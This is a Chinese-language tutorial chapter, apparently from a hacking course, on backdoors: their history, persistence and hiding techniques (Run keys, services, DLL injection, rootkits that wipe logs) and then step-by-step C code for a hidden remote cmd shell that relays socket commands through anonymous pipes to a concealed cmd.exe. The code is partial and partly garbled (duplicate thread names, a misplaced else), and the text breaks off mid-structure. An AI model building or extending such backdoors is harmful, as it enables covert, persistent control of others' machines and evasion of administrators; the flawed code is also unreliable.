一、后门概述 1.1 后门的发展历史 1.1.1 功能上发展。1.1.2 隐蔽性上的发展。1.2 后门的分类1.2.1 网页后门 1.2.2 线程插入后门 1.2.3 扩展后门 1.2.4 C/S后门。1.2.5 root kit。二、编写简单的cmdshell程序 2.1 管道通信技术简介 2.2 正向连接后门的编程 2.2.1 双管道后门
【重点】
编写简单的cmdshell程序
编写简单的后门程序
实现自启动功能的编程技术
后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
后门包括很多类型,如账号后门、系统服务后门等。
简单的后门可能只是建立一个新账号,或接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。
一、后门概述
在控制一台服务器后给其安装一个或多个后门,可实现对该服务器进行长期控制。
例如,黑客可能使用密码破解一个或多个账号密码,可能会建立一个或多个账号。
一个黑客可存取这个系统,黑客可能使用一些技术或利用系统的某个漏洞来提升权限。
黑客可能使用一些技术或利用系统的某个漏洞来提升权限。
黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。
也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。
1.1 后门的发展历史
任何事物都是不断发展的,后门也不例外。后门的发展主要体现在如下两个方面。
1.1.1 功能上发展。
最原始的后门只有一个cmdshell功能,随着黑客对后门要求不断提高,其功能也逐渐强大起来。
winshell后门在增加了很多实用功能,如列举进行、结束进程等。
在winshell之后的后门在功能上已经是趋于完善,拥有开启远程终端、克隆用户等功能,甚至有些后门还具有替换桌面的功能。
1.1.2 隐蔽性上的发展。
在后门功能发展的同时,黑客还需要考虑其生存能力。
如果一个后门生存能力不强,则很容易被管理员发现,拥有多强大的功能也没用,所以后门的隐蔽性非常重要。
后门程序的隐蔽性主要体现在自启动、连接、进程等方面的隐蔽性。
自启动的隐蔽性:
在自启动方面,最初是利用注册表中的RUN项来实现的,但这种启动方法在“系统配置实用程序”中会很容易被发现,而且在没有用户登录的情况下是不会启动的。
随后又出现服务启动,在用户没有登录的情况下也可以启动,这样隐蔽性就提高了。
现在又相继出现ActiveX启动、SVChost.exe加载启动以及感染系统文件启动,还有API HOOK技术,可以实现在用户模式下无进程、无启动项、无文件启动。
连接上的隐蔽性:
在连接上,最初是正向连接后门。后门监听一个端口,远程计算机对其进行连接。
只要查看端口和程序的对应关系就可以很容易发现后门,所以这样后门的隐蔽性是非常弱的。
在这种情况下,反向连接后门应运而生了,这类后门可以突破一些防火墙。
进程上的隐蔽性:
当遇到对进程进行过滤的防火墙时,反向连接后门需要用到远程线程技术。
在进程方面应用最多的是远程线程技术,先把后门写成一个.dll
文件,通过远程线程函数注入其他进程,从而实现无进程。
所以通过远程插入线程可突破对进程进行过滤的防火墙。
另外,还有其他隐藏方法,如利用原始套接字的嗅探后门等。
1.2 后门的分类
后门可以按照很多方式来分类,标准不同自然分类就不同。
为了便于理解,这里从技术方面将后门分为如下几种:
1.2.1 网页后门
此类后门程序一般都是通过服务器上正常的Web服务来构造自己的连接方式,如现在非常流行的ASP、CGI脚本后门等。
现在国内入侵的主流趋势是先利用某种脚本漏洞上传脚本后门,浏览服务器内安装的程序,找到提升权限的突破口,进而拿到服务器的系统权限。
1.2.2 线程插入后门
这种后门在运行时没有进程,所有网络操作均在其他应用程序的进程中完成。
即使客户端安装的防火墙拥有“应用程序访问权限”的功能,也不能对这样的后门进行有效的警告和拦截。
1.2.3 扩展后门
扩展后门就是将非常多的功能集成到了后门里,让后门本身就可以实现多种功能,从而方便直接控制“肉鸡”或服务器。
这类后门非常受初学者的喜爱,通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能。
所以其本身就是一个小的工具包,功能强大。
1.2.4 C/S后门。
传统的木马程序常常使用C/S构架,这样的构架很方便控制,也在一定程度上避免了“万能密码”的情况出现。
而C/S后门和传统的木马程序类似的控制方法,即采用“客户端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。
1.2.5 root kit。
很多人都认为root kit是获得系统root访问权限的工具,而实际上是黑客用来隐蔽自己的踪迹和保留root访问权限的工具。
通常,攻击者通过远程攻击获得root访问权限,进入系统后,攻击者会在侵入的主机中安装root kit,再将经常通过root kit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。
如果存在其他用户,则通过root kit的嗅探器获得其他系统的用户和密码后,攻击者就会利用这些信息侵入其他计算机。
二、编写简单的cmdshell程序
shell是指用户与操作系统对话的一个接口,我们发出一个命令,通过shell告诉系统让系统执行黑客的指令。
而SHELL前面加个前缀"CMD"则表示这个shell的类型为"CMD",类似于平常所说的"WEBSHELL",就是通过WEB向服务器发送命令。
在cmdshell中可以执行所有的cmd命令,可以将其看作一个通过本地的Telnet来输入命令,而在远程主机cmd上执行,再返回命令指向执行结果的过程,如图1所示。
从图1中不难看出:cmdshell由两个不同的通信过程,如果要实现cmdshell就必须解决这两个通信问题。
先是后门和cmd之间的通信,这个过程可以使用管道技术来实现。而另一个通信是跨越计算机的网络通信,这个过程可以由Winsock编程来实现。
【图1】 cmdshell执行命令的过程
2.1 管道通信技术简介
管道是连接读写进程的一个特殊文件,允许进程按先进先出方式传送数据,也能使进程同步执行操作。
发送进程以字符流形式把大量数据送入管道,接收进程从管道中接收数据,所以叫管道通信。
管道的实质是一个共享文件,基本上可借助于文件系统的机制实现,包括(管道)文件的创建、打开、关闭和读写。
进程对通信机构的使用应该互斥,一个进程正在使用某个管道写入或读出数据时,另一个进程就必须等待。
发送者和接收者双方必须能够知道对方是否存在,如果对方已经不存在,就没有必要再发送信息。
管道长度有限,发送信息和接收信息之间要实现正确的同步关系,当写进程把一定数量的数据写入管道,就去睡眠等待,直到读进程取走数据后,把它唤醒。管道分为匿名管道和命令管道两种,其具体介绍如下:
匿名管道
(Anonymous Pipes)是在父进程和子进程间单向传输数据的一种未命名的管道,只能在本地计算机中使用,而不可用于网络间的通信。
命名管道
是一种简单的进程间通信(IPC)机制,可在同一台计算机的不同进程之间,或在跨越一个网络的不同计算机的不同进程之间、支持可靠的、单向或双向的数据通信。
在编写后门程序的时候用到的是匿名管道,所以这里只介绍匿名管道。
该种管道的通信过程如图2所示。
【图2】 匿名管道的通信过程
由于匿名管道是单向的,所以数据传递的方向只能是图2中箭头的方向。
匿名管道由CreatePipe函数创建,该函数在创建匿名管道的同时返回两个句柄:管道读句柄和管道写句柄。
CreatePipe的函数具体格式为: BOOL CreatePipe( PHANDLE hReadPipe,//指向读句柄的指针 PHANDLE hWritePipe,//指向写句柄的指针 LPSECURITY_ATTRIBUTES lpPipeAttributes,//指向安全属性的指针DWORD nSize//管道大小 ); 其中各个参数的含义如下。 hReadPipe:该参数指向一个管道的读句柄。 hWritePipe:该参数指向一个管道的写句柄。 lpPipeAttributes:指向一个SECURITY_ATTRIBUTES结构,用于指定返回的句柄是否可以被子进程继承。该结构的具体格式如下。 typedef struct_SECURITY_ATTRIBUTES{ DWORD nLength;//结构体的大小 LPVOID lpSecurityDescriptor;//安全描述符 BOOL bInheritHandle;//安全描述的对象是否可以被新创建的进程继承 }SECURITY_ATTRIBUTES; nSize:该参数的作用是指定管道缓冲区的大小,如果为0则采用默认缓冲区的大小。
通过hReadPipe和hWritePipe所指向的句柄可分别以只读、只写的方式去访问管道。
在使用匿名管道通信时,服务器进程必须将其中的一个句柄传送给客户机进程。
句柄的传递多通过继承来完成,服务器进程也允许这些句柄为子进程所继承。
此外,进程也可通过诸如DDE或共享内存等形式的进程间通信将句柄发送给与其不相关联的进程。
在调用CreatePipe函数时,如果管道服务器将lpPipeAttributes指向的SECURITY_ATTRIBUTES数据结构的数据成员bInheritHandle设置为TRUE,则CreatePipe函数创建的管道读、写句柄将会被继承。
管道服务器可调用DuplicateHandle函数改变管道句柄的继承。
管道服务器可以为一个可继承的管道句柄创建一个不可继承的副本或为一个不可继承的管道句柄创建一个可继承的副本。
CreateProcess函数还可使管道服务器有能力决定子进程对其可继承句柄是全部继承还是不继承。
在生成子进程之前,父进程先调用Win32 API SetStdHandle函数使子进程、父进程可共用标准输入、标准输出和标准错误句柄。
当父进程向子进程发送数据时,用SetStdHandle将管道的读句柄赋予标准输入句柄。
在从子进程接收数据时,则用SetStdHandle函数将管道的写句柄赋予标准输出(或标准错误)句柄。
然后,父进程可以调用进程创建函数CreateProcess生成子进程。
如果父进程要发送数据到子进程,父进程可调用WriteFile函数将数据写入到管道(传递管道写句柄给函数),子进程则调用GetStdHandle函数取得管道的读句柄,将该句柄传入ReadFile函数后从管道读取数据。
如果是父进程从子进程读取数据,则由子进程调用GetStdHandle函数取得管道的写入句柄,并调用WriteFile函数将数据写入到管道。
然后,父进程调用ReadFile函数从管道读取出数据(传递管道读句柄给函数)。
在用WriteFile函数向管道写入数据时,只有在向管道写完指定字节的数据后或在有错误发生时函数才会返回。
若管道缓冲已满而数据还没有写完,WriteFile将要等到另一进程对管道中数据读取,以释放出更多可用空间后才能够返回。
管道服务器在调用CreatePipe创建管道时,以参数nSize对管道的缓冲大小作了设定。
匿名管道并不支持异步读、写操作,也就意味着不能在匿名管道中使用ReadFileEx和WriteFileEx函数,而且ReadFile和WriteFile函数中的
lpOverLapped参数也将被忽略。
匿名管道将在读、写句柄都被关闭后退出,也可以在进程中调用CloseHandle函数来关闭此句柄。
下面就是创建匿名管道的具体代码:
PROCESS_INFORMATION pi; char ReadBuf[100]; DWORD ReadNum; HANDLE hRead;//管道读句柄 HANDLE hWrite;//管道写句柄 BOOL bRet=CreatePipe(&hRead,&hWrite, NULL,0);//创建匿名管道 if(bRet==TRUE) printf("成功创建匿名管道!\n"); else printf("创建匿名管道失败,错误代码:%d\n",GetLastError()); //得到本进程的当前标准输出 HANDLE hTemp=GetStdHandle(STD_OUTPUT_HANDLE); //设置标准输出到匿名管道 SetStdHandle(STD_OUTPUT_HANDLE, hWrite); GetStartupInfo(&si);//获取本进程的STARTUPINFO结构信息 bRet=CreateProcess(NULL,"Client.exe",NULL, NULL, TRUE, NULL, NULL, NULL,&si,&pi); //创建子进程 SetStdHandle(STD_OUTPUT_HANDLE, hTemp);//恢复本进程的标准输出 if(bRet==TRUE)//输入信息printf("成功创建子进程!\n"); else printf("创建子进程失败,错误代码:%d\n",GetLastError()); CloseHandle(hWrite);//关闭写句柄 //读管道直至管道关闭 while(ReadFile(hRead, ReadBuf,100,&ReadNum, NULL)) { ReadBuf[ReadNum]='\0'; printf("从管道[%s]读取%d字节数据\n",ReadBuf, ReadNum); } if(GetLastError()==ERROR_BROKEN_PIPE)//输出信息 printf("管道被子进程关闭\n"); printf("读数据错误,错误代码:%d\n",GetLastError()); else
2.2 正向连接后门的编程
正向连接后门是在被控制计算机上监听一个端口,等待连接,当存在连接后,就会启动后门功能。
正向连接后门是最初的后门。这种后门是非常被动的,一旦目标计算机中安装有防火墙,此后门就可能被防火墙拦截。
正向连接后门的一般实现流程如图3所示。
常见的正向连接后门有双管道后门、单管道后门以及零管道后门,其实现的步骤可能与图3所示步骤会有所不同,因为图3中介绍的是后门的一般实现步骤。
【图3】 正向连接后门的实现流程图
2.2.1 双管道后门
双管道后门是在后门中建立两个管道。
由于匿名是单向的,所以cmd的执行结果写入管道A的写句柄(hWritePipe),后门从管道A的读句柄(hReadFile)读取cmd执行结果,将接收到的命令写入管道B的写句柄(hWriteFile),最后cmd通过管道B的读句柄(hReadFile)读取命令执行。其实现过程如图4所示。
【图4】 双管道后门实现流程图
下面来创建双管道后门,需要先创建一个TCP客户端。在TCP客户端成功建立后,可以使用Create函数来建立两个管道。
由于不确定管道A中有数据的时间以及收到指令的时间,这里需要创建两个线程,而每个线程建立一个管道。
其中线程B用于循环读取管道A中的数据,当读到数据后,就会发送给后门。
线程B的作用是接收数据,一旦接收到数据就会写到管道B中,最后由cmd执行。
下面代码的作用是创建两个线程:
//接收远程主机的命令,并写入管道B DWORD WINAPI ThreadA(LPVOID lpParam) { SECURITY_ATTRIBUTES sa; DWORD nByteToWrite, nByteWritten; char recv_buff[1024]; sa.nLength=sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor=NULL; sa.bInheritHandle=TRUE; //创建管道 CreatePipe(&hReadPipe,&hWriteFile,&sa,0); while(true){ Sleep(250); //接收远程cmd命令 nByteToWrite=recv(sClient, recv_buff,1024,0); //写入管道 WriteFile(hWriteFile, recv_buff, nByteToWrite,&nByteWritten, NULL); } return 0; } //读取管道A中的数据,返回给远程主机 DWORD WINAPI ThreadA(LPVOID lpParam) { SECURITY_ATTRIBUTES sa; DWORD len; char send_buff[2048]; sa.nLength=sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor=NULL; sa.bInheritHandle=TRUE; CreatePipe(&hReadFile,&hWritePipe,&sa,0); while(true) { //读取管道中的数据 ReadFile(hReadFile, send_buff,2048,&len, NULL); //把管道中的数据发送给远程主机 send(sClient, send_buff, len,0);
} return 0; }
由于管道没有将cmd的输入/输出相关联,所以在启动后,线程A是不能从管道A中读到数据的。
同时如果线程B将接收到的命令写入到管道B中,cmd也是不会执行的。
所以只有把管道和cmd的输入/输出相关联并且启动cmd进程后,这两个管道才可以发挥其作用。
此时使用LPSTARTUPINFO结构可以把管道句柄与cmd的输入/输出关联起来。
这个结构是CreateProcess函数的一个参数,它指定了新进程中的主窗口的位置、大小、输入、输出等属性。
所以在调用CreateProcess函数前必须对LPSTARTUPINFO结构进行初始化,从而实现管道与cmd输入/输出的关联。
LPSTARTUPINFO结构的具体格式如下:
typedef struct_STARTUPINFO { DWORD cb;//包含STARTUPINFO结构中的字节数 PSTR lpReserved;//必须初始化为NULL PSTR lpDesktop;//用于标识启动应用程序所在的桌面的名字 PSTR lpTitle;//用于设定控制台窗口的名称 DWORD dwX;//用于设定应用程序窗口在屏幕上应该放置的位置的X坐标(以像素为单位) DWORD dwY;//用于设定应用程序窗口在屏幕上应该放置的位置的Y坐标 DWORD dwXSize;//用于设定应用程序窗口的宽度 DWORD dwYSize;//用于设定应用程序窗口的高度 DWORD dwXCountChars;//用于设定子应用程序的控制台窗口的宽度(以字符为单位) DWORD dwYCountChars;//用于设定子应用程序的控制台窗口的高度 DWORD dwFillAttribute;//用于设定子应用程序的控制台窗口使用的文本和背景颜色 DWORD dwFlags;//设定子应用程序的控制台窗口使用的背景颜色 WORD wShowWindow;//用于设定如果子应用程序初次调用的ShowWindow将SW_SHOWDEFAULT作为 nCmdShow参数传递时,该应用程序的第一个重叠窗口应该如何出现WORD cbReserved2;//必须被初始化为0 PBYTE lpReserved2;//必须被初始化为NULL HANDLE hStdInput;//用于设定供控制台输入用的缓存的句柄 HANDLE hStdOutput;//用于设定供控制台输出用的缓存的句柄 HANDLE hStdError; }STARTUPINFO,*LPSTARTUPINFO;
不难看出,这个结构中成员很多,为了方便用户,微软还提供了GetStartupInfo函数,该函数只有一个si参数,该参数指向一个STARTUPINFO。
所以可调用GetStartupInfo函数得到当前进程中STARTUPINFO结构,再对其进行修改就可以实现关联了。
其具体格式如下:
GetStartupInfo(&si);//用当前进程初始化信息来定义STARTUPINFO结构 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//dwFlags参数的作用是指定STARTUPINFO 结构中有效的参数 si.hStdInput=hReadPipe;//从管道B读句柄输入,读取命令 si.hStdError=hWritePipe;//错误输出到管道A写句柄 si.hStdOutput=hWritePipe;//执行结构从管道写句柄输入 si.wShowWindow=SW_HIDE;//隐藏cmd窗口
到这里就可以实现cmd与管道之间的通信关系,下面就剩下调用CreateProcess函数启动cmd进程了。
该函数的具体格式如下:
BOOL CreateProcess
(
LPCTSTR lpApplicationName,
LPTSTR IpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID IpEnvironment,
LPCTSTR IpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation );
其中各个参数的具体含义如下:
lpApplicationName:指向一个NULL结尾的、用来指定可执行模块的字符串。 lpCommandLine:指向一个NULL结尾的、用来指定要运行的命令行。 lpProcessAttributes:描述进程的安全性属性,NULL表示默认的安全性。 lpThreadAttributes:定义进程初始线程的安全属性,NULL表示默认的安全性。 bInheritHandles:指示新进程是否从调用进程处继承了句柄。 dwCreationFlags:指定附加的、用来控制优先类和进程的创建的标志。 lpEnvironment:指向一个新进程的环境块。如果此参数为空,新进程使用调用进程的环境。 lpCurrentDirectory:指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。 lpStartupInfo:指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体。 lpProcessInformation:指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。该结构体的具体格式如下。 typedef struct_PROCESS_INFORMATION{ HANDLE hProcess;//存放每个对象的与进程相关的句柄 HANDLE hThread;//返回的线程句柄 DWORD dwProcessId;//用来存放